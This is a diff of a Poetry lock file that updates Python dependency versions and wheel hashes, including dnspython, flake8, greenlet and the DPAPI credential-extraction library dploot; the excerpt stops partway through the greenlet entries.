"charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f1a2f519ae173b5b6a2c9d5fa3116ce16e48b3462c8b96dfdded11055e3d6365"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:63bc5c4ae26e4bc6be6469943b8253c0fd4e4186c43ad46e713ea61a0ba49129"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bcb4f8ea87d03bc51ad04add8ceaf9b0f085ac045ab4d74e73bbc2dc033f0236"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-win32.whl", hash = "sha256:9ae4ef0b3f6b41bad6366fb0ea4fc1d7ed051528e113a60fa2a65a9abb5b1d99"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cee4373f4d3ad28f1ab6290684d8e2ebdb9e7a1b74fdc39e4c211995f77bec27"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0713f3adb9d03d49d365b70b84775d0a0d18e4ab08d12bc46baa6132ba78aaf6"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:de7376c29d95d6719048c194a9cf1a1b0393fbe8488a22008610b0361d834ecf"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4a51b48f42d9358460b78725283f04bddaf44a9358197b889657deba38f329db"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b295729485b06c1a0683af02a9e42d2caa9db04a373dc38a6a58cdd1e8abddf1"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee803480535c44e7f5ad00788526da7d85525cfefaf8acf8ab9a310000be4b03"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d59d125ffbd6d552765510e3f31ed75ebac2c7470c7274195b9161a32350284"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8cda06946eac330cbe6598f77bb54e690b4ca93f593dee1568ad22b04f347c15"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:07afec21bbbbf8a5cc3651aa96b980afe2526e7f048fdfb7f1014d84acc8b6d8"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6b40e8d38afe634559e398cc32b1472f376a4099c75fe6299ae607e404c033b2"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b8dcd239c743aa2f9c22ce674a145e0a25cb1566c495928440a181ca1ccf6719"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:84450ba661fb96e9fd67629b93d2941c871ca86fc38d835d19d4225ff946a631"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:44aeb140295a2f0659e113b31cfe92c9061622cadbc9e2a2f7b8ef6b1e29ef4b"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1db4e7fefefd0f548d73e2e2e041f9df5c59e178b4c72fbac4cc6f535cfb1565"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-win32.whl", hash = "sha256:5726cf76c982532c1863fb64d8c6dd0e4c90b6ece9feb06c9f202417a31f7dd7"}, + {file = "charset_normalizer-3.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:b197e7094f232959f8f20541ead1d9862ac5ebea1d58e9849c1bf979255dfac9"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:dd4eda173a9fcccb5f2e2bd2a9f423d180194b1bf17cf59e3269899235b2a114"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e9e3c4c9e1ed40ea53acf11e2a386383c3304212c965773704e4603d589343ed"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:92a7e36b000bf022ef3dbb9c46bfe2d52c047d5e3f3343f43204263c5addc250"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54b6a92d009cbe2fb11054ba694bc9e284dad30a26757b1e372a1fdddaf21920"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ffd9493de4c922f2a38c2bf62b831dcec90ac673ed1ca182fe11b4d8e9f2a64"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:35c404d74c2926d0287fbd63ed5d27eb911eb9e4a3bb2c6d294f3cfd4a9e0c23"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4796efc4faf6b53a18e3d46343535caed491776a22af773f366534056c4e1fbc"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7fdd52961feb4c96507aa649550ec2a0d527c086d284749b2f582f2d40a2e0d"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:92db3c28b5b2a273346bebb24857fda45601aef6ae1c011c0a997106581e8a88"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ab973df98fc99ab39080bfb0eb3a925181454d7c3ac8a1e695fddfae696d9e90"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4b67fdab07fdd3c10bb21edab3cbfe8cf5696f453afce75d815d9d7223fbe88b"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:aa41e526a5d4a9dfcfbab0716c7e8a1b215abd3f3df5a45cf18a12721d31cb5d"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffc519621dce0c767e96b9c53f09c5d215578e10b02c285809f76509a3931482"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-win32.whl", hash = "sha256:f19c1585933c82098c2a520f8ec1227f20e339e33aca8fa6f956f6691b784e67"}, + {file = "charset_normalizer-3.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:707b82d19e65c9bd28b81dde95249b07bf9f5b90ebe1ef17d9b57473f8a64b7b"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:dbe03226baf438ac4fda9e2d0715022fd579cb641c4cf639fa40d53b2fe6f3e2"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd9a8bd8900e65504a305bf8ae6fa9fbc66de94178c420791d0293702fce2df7"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8831399554b92b72af5932cdbbd4ddc55c55f631bb13ff8fe4e6536a06c5c51"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a14969b8691f7998e74663b77b4c36c0337cb1df552da83d5c9004a93afdb574"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcaf7c1524c0542ee2fc82cc8ec337f7a9f7edee2532421ab200d2b920fc97cf"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:425c5f215d0eecee9a56cdb703203dda90423247421bf0d67125add85d0c4455"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:d5b054862739d276e09928de37c79ddeec42a6e1bfc55863be96a36ba22926f6"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:f3e73a4255342d4eb26ef6df01e3962e73aa29baa3124a8e824c5d3364a65748"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:2f6c34da58ea9c1a9515621f4d9ac379871a8f21168ba1b5e09d74250de5ad62"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:f09cb5a7bbe1ecae6e87901a2eb23e0256bb524a79ccc53eb0b7629fbe7677c4"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0099d79bdfcf5c1f0c2c72f91516702ebf8b0b8ddd8905f97a8aecf49712c621"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-win32.whl", hash = "sha256:9c98230f5042f4945f957d006edccc2af1e03ed5e37ce7c373f00a5a4daa6149"}, + {file = "charset_normalizer-3.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:62f60aebecfc7f4b82e3f639a7d1433a20ec32824db2199a11ad4f5e146ef5ee"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:af73657b7a68211996527dbfeffbb0864e043d270580c5aef06dc4b659a4b578"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cab5d0b79d987c67f3b9e9c53f54a61360422a5a0bc075f43cab5621d530c3b6"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9289fd5dddcf57bab41d044f1756550f9e7cf0c8e373b8cdf0ce8773dc4bd417"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b493a043635eb376e50eedf7818f2f322eabbaa974e948bd8bdd29eb7ef2a51"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9fa2566ca27d67c86569e8c85297aaf413ffab85a8960500f12ea34ff98e4c41"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8e538f46104c815be19c975572d74afb53f29650ea2025bbfaef359d2de2f7f"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fd30dc99682dc2c603c2b315bded2799019cea829f8bf57dc6b61efde6611c8"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2006769bd1640bdf4d5641c69a3d63b71b81445473cac5ded39740a226fa88ab"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc15e99b2d8a656f8e666854404f1ba54765871104e50c8e9813af8a7db07f12"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:ab2e5bef076f5a235c3774b4f4028a680432cded7cad37bba0fd90d64b187d19"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:4ec9dd88a5b71abfc74e9df5ebe7921c35cbb3b641181a531ca65cdb5e8e4dea"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:43193c5cda5d612f247172016c4bb71251c784d7a4d9314677186a838ad34858"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:aa693779a8b50cd97570e5a0f343538a8dbd3e496fa5dcb87e29406ad0299654"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-win32.whl", hash = "sha256:7706f5850360ac01d80c89bcef1640683cc12ed87f42579dab6c5d3ed6888613"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:c3e446d253bd88f6377260d07c895816ebf33ffffd56c1c792b13bff9c3e1ade"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:980b4f289d1d90ca5efcf07958d3eb38ed9c0b7676bf2831a54d4f66f9c27dfa"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f28f891ccd15c514a0981f3b9db9aa23d62fe1a99997512b0491d2ed323d229a"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8aacce6e2e1edcb6ac625fb0f8c3a9570ccc7bfba1f63419b3769ccf6a00ed0"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd7af3717683bea4c87acd8c0d3d5b44d56120b26fd3f8a692bdd2d5260c620a"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5ff2ed8194587faf56555927b3aa10e6fb69d931e33953943bc4f837dfee2242"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e91f541a85298cf35433bf66f3fab2a4a2cff05c127eeca4af174f6d497f0d4b"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309a7de0a0ff3040acaebb35ec45d18db4b28232f21998851cfa709eeff49d62"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:285e96d9d53422efc0d7a17c60e59f37fbf3dfa942073f666db4ac71e8d726d0"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5d447056e2ca60382d460a604b6302d8db69476fd2015c81e7c35417cfabe4cd"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:20587d20f557fe189b7947d8e7ec5afa110ccf72a3128d61a2a387c3313f46be"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:130272c698667a982a5d0e626851ceff662565379baf0ff2cc58067b81d4f11d"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:ab22fbd9765e6954bc0bcff24c25ff71dcbfdb185fcdaca49e81bac68fe724d3"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:7782afc9b6b42200f7362858f9e73b1f8316afb276d316336c0ec3bd73312742"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-win32.whl", hash = "sha256:2de62e8801ddfff069cd5c504ce3bc9672b23266597d4e4f50eda28846c322f2"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:95c3c157765b031331dd4db3c775e58deaee050a3042fcad72cbc4189d7c8dca"}, + {file = "charset_normalizer-3.4.0-py3-none-any.whl", hash = "sha256:fe9f97feb71aa9896b81973a7bbada8c49501dc73e58a10fcef6663af95e5079"}, + {file = "charset_normalizer-3.4.0.tar.gz", hash = "sha256:223217c3d4f82c3ac5e29032b3f1c2eb0fb591b72161f86d93f5719079dae93e"}, ] [[package]] @@ -632,39 +658,39 @@ test-randomorder = ["pytest-randomly"] [[package]] name = "dnspython" -version = "2.6.1" +version = "2.7.0" description = "DNS toolkit" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "dnspython-2.6.1-py3-none-any.whl", hash = "sha256:5ef3b9680161f6fa89daf8ad451b5f1a33b18ae8a1c6778cdf4b43f08c0a6e50"}, - {file = "dnspython-2.6.1.tar.gz", hash = "sha256:e8f0f9c23a7b7cb99ded64e6c3a6f3e701d78f50c55e002b839dea7225cff7cc"}, + {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, + {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, ] [package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "sphinx (>=7.2.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=41)"] +dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] +dnssec = ["cryptography (>=43)"] doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=0.9.25)"] -idna = ["idna (>=3.6)"] +doq = ["aioquic (>=1.0.0)"] +idna = ["idna (>=3.7)"] trio = ["trio (>=0.23)"] wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "2.7.4" +version = "3.1.0" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0,>=3.7" +python-versions = "<4.0.0,>=3.10.0" files = [ - {file = "dploot-2.7.4-py3-none-any.whl", hash = "sha256:6f1748aead849bc7c8718fb206e201dbf2b1ad50f63d40d23b81c2827e8ac326"}, - {file = "dploot-2.7.4.tar.gz", hash = "sha256:2a74af7899533f2e511a1bfc12c3f1baba477ae392ba6260fd3da19ea7239634"}, + {file = "dploot-3.1.0-py3-none-any.whl", hash = "sha256:9fb89c4332f407700929290f147703c79e253d14a505649174c9d761415fddfe"}, + {file = "dploot-3.1.0.tar.gz", hash = "sha256:0e531a12481b0c741be41574988f2a8d3046a66457edb3faecc64ee20f88d6e2"}, ] [package.dependencies] cryptography = ">=40.0.1" -impacket = ">=0.10.0" -lxml = "4.9.3" +impacket = ">=0.12.0" +lxml = ">=5.0" pyasn1 = ">=0.4.8,<0.5.0" [[package]] @@ -679,13 +705,13 @@ files = [ [[package]] name = "dunamai" -version = "1.21.2" +version = "1.22.0" description = "Dynamic version generation" optional = false python-versions = ">=3.5" files = [ - {file = "dunamai-1.21.2-py3-none-any.whl", hash = "sha256:87db76405bf9366f9b4925ff5bb1db191a9a1bd9f9693f81c4d3abb8298be6f0"}, - {file = "dunamai-1.21.2.tar.gz", hash = "sha256:05827fb5f032f5596bfc944b23f613c147e676de118681f3bb1559533d8a65c4"}, + {file = "dunamai-1.22.0-py3-none-any.whl", hash = "sha256:eab3894b31e145bd028a74b13491c57db01986a7510482c9b5fff3b4e53d77b7"}, + {file = "dunamai-1.22.0.tar.gz", hash = "sha256:375a0b21309336f0d8b6bbaea3e038c36f462318c68795166e31f9873fdad676"}, ] [package.dependencies] @@ -707,19 +733,19 @@ test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "5.0.4" +version = "7.1.1" description = "the modular source code checker: pep8 pyflakes and co" optional = false -python-versions = ">=3.6.1" +python-versions = ">=3.8.1" files = [ - {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, - {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, + {file = "flake8-7.1.1-py2.py3-none-any.whl", hash = "sha256:597477df7860daa5aa0fdd84bf5208a043ab96b8e96ab708770ae0364dd03213"}, + {file = "flake8-7.1.1.tar.gz", hash = "sha256:049d058491e228e03e67b390f311bbf88fce2dbaa8fa673e7aea87b7198b8d38"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.9.0,<2.10.0" -pyflakes = ">=2.5.0,<2.6.0" +pycodestyle = ">=2.12.0,<2.13.0" +pyflakes = ">=3.2.0,<3.3.0" [[package]] name = "flask" @@ -735,7 +761,6 @@ files = [ [package.dependencies] blinker = ">=1.6.2" click = ">=8.1.3" -importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} itsdangerous = ">=2.1.2" Jinja2 = ">=3.1.2" Werkzeug = ">=3.0.0" @@ -757,69 +782,84 @@ files = [ [[package]] name = "greenlet" -version = "3.0.3" +version = "3.1.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" files = [ - {file = "greenlet-3.0.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9da2bd29ed9e4f15955dd1595ad7bc9320308a3b766ef7f837e23ad4b4aac31a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d353cadd6083fdb056bb46ed07e4340b0869c305c8ca54ef9da3421acbdf6881"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dca1e2f3ca00b84a396bc1bce13dd21f680f035314d2379c4160c98153b2059b"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3ed7fb269f15dc662787f4119ec300ad0702fa1b19d2135a37c2c4de6fadfd4a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd4f49ae60e10adbc94b45c0b5e6a179acc1736cf7a90160b404076ee283cf83"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:73a411ef564e0e097dbe7e866bb2dda0f027e072b04da387282b02c308807405"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7f362975f2d179f9e26928c5b517524e89dd48530a0202570d55ad6ca5d8a56f"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:649dde7de1a5eceb258f9cb00bdf50e978c9db1b996964cd80703614c86495eb"}, - {file = "greenlet-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:68834da854554926fbedd38c76e60c4a2e3198c6fbed520b106a8986445caaf9"}, - {file = "greenlet-3.0.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:b1b5667cced97081bf57b8fa1d6bfca67814b0afd38208d52538316e9422fc61"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52f59dd9c96ad2fc0d5724107444f76eb20aaccb675bf825df6435acb7703559"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:afaff6cf5200befd5cec055b07d1c0a5a06c040fe5ad148abcd11ba6ab9b114e"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe754d231288e1e64323cfad462fcee8f0288654c10bdf4f603a39ed923bef33"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2797aa5aedac23af156bbb5a6aa2cd3427ada2972c828244eb7d1b9255846379"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b7f009caad047246ed379e1c4dbcb8b020f0a390667ea74d2387be2998f58a22"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c5e1536de2aad7bf62e27baf79225d0d64360d4168cf2e6becb91baf1ed074f3"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:894393ce10ceac937e56ec00bb71c4c2f8209ad516e96033e4b3b1de270e200d"}, - {file = "greenlet-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:1ea188d4f49089fc6fb283845ab18a2518d279c7cd9da1065d7a84e991748728"}, - {file = "greenlet-3.0.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:70fb482fdf2c707765ab5f0b6655e9cfcf3780d8d87355a063547b41177599be"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4d1ac74f5c0c0524e4a24335350edad7e5f03b9532da7ea4d3c54d527784f2e"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:149e94a2dd82d19838fe4b2259f1b6b9957d5ba1b25640d2380bea9c5df37676"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15d79dd26056573940fcb8c7413d84118086f2ec1a8acdfa854631084393efcc"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b7db1ebff4ba09aaaeae6aa491daeb226c8150fc20e836ad00041bcb11230"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fcd2469d6a2cf298f198f0487e0a5b1a47a42ca0fa4dfd1b6862c999f018ebbf"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:1f672519db1796ca0d8753f9e78ec02355e862d0998193038c7073045899f305"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2516a9957eed41dd8f1ec0c604f1cdc86758b587d964668b5b196a9db5bfcde6"}, - {file = "greenlet-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:bba5387a6975598857d86de9eac14210a49d554a77eb8261cc68b7d082f78ce2"}, - {file = "greenlet-3.0.3-cp37-cp37m-macosx_11_0_universal2.whl", hash = "sha256:5b51e85cb5ceda94e79d019ed36b35386e8c37d22f07d6a751cb659b180d5274"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:daf3cb43b7cf2ba96d614252ce1684c1bccee6b2183a01328c98d36fcd7d5cb0"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99bf650dc5d69546e076f413a87481ee1d2d09aaaaaca058c9251b6d8c14783f"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dd6e660effd852586b6a8478a1d244b8dc90ab5b1321751d2ea15deb49ed414"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3391d1e16e2a5a1507d83e4a8b100f4ee626e8eca43cf2cadb543de69827c4c"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e1f145462f1fa6e4a4ae3c0f782e580ce44d57c8f2c7aae1b6fa88c0b2efdb41"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1a7191e42732df52cb5f39d3527217e7ab73cae2cb3694d241e18f53d84ea9a7"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0448abc479fab28b00cb472d278828b3ccca164531daab4e970a0458786055d6"}, - {file = "greenlet-3.0.3-cp37-cp37m-win32.whl", hash = "sha256:b542be2440edc2d48547b5923c408cbe0fc94afb9f18741faa6ae970dbcb9b6d"}, - {file = "greenlet-3.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:01bc7ea167cf943b4c802068e178bbf70ae2e8c080467070d01bfa02f337ee67"}, - {file = "greenlet-3.0.3-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:1996cb9306c8595335bb157d133daf5cf9f693ef413e7673cb07e3e5871379ca"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ddc0f794e6ad661e321caa8d2f0a55ce01213c74722587256fb6566049a8b04"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9db1c18f0eaad2f804728c67d6c610778456e3e1cc4ab4bbd5eeb8e6053c6fc"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7170375bcc99f1a2fbd9c306f5be8764eaf3ac6b5cb968862cad4c7057756506"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b66c9c1e7ccabad3a7d037b2bcb740122a7b17a53734b7d72a344ce39882a1b"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:098d86f528c855ead3479afe84b49242e174ed262456c342d70fc7f972bc13c4"}, - {file = 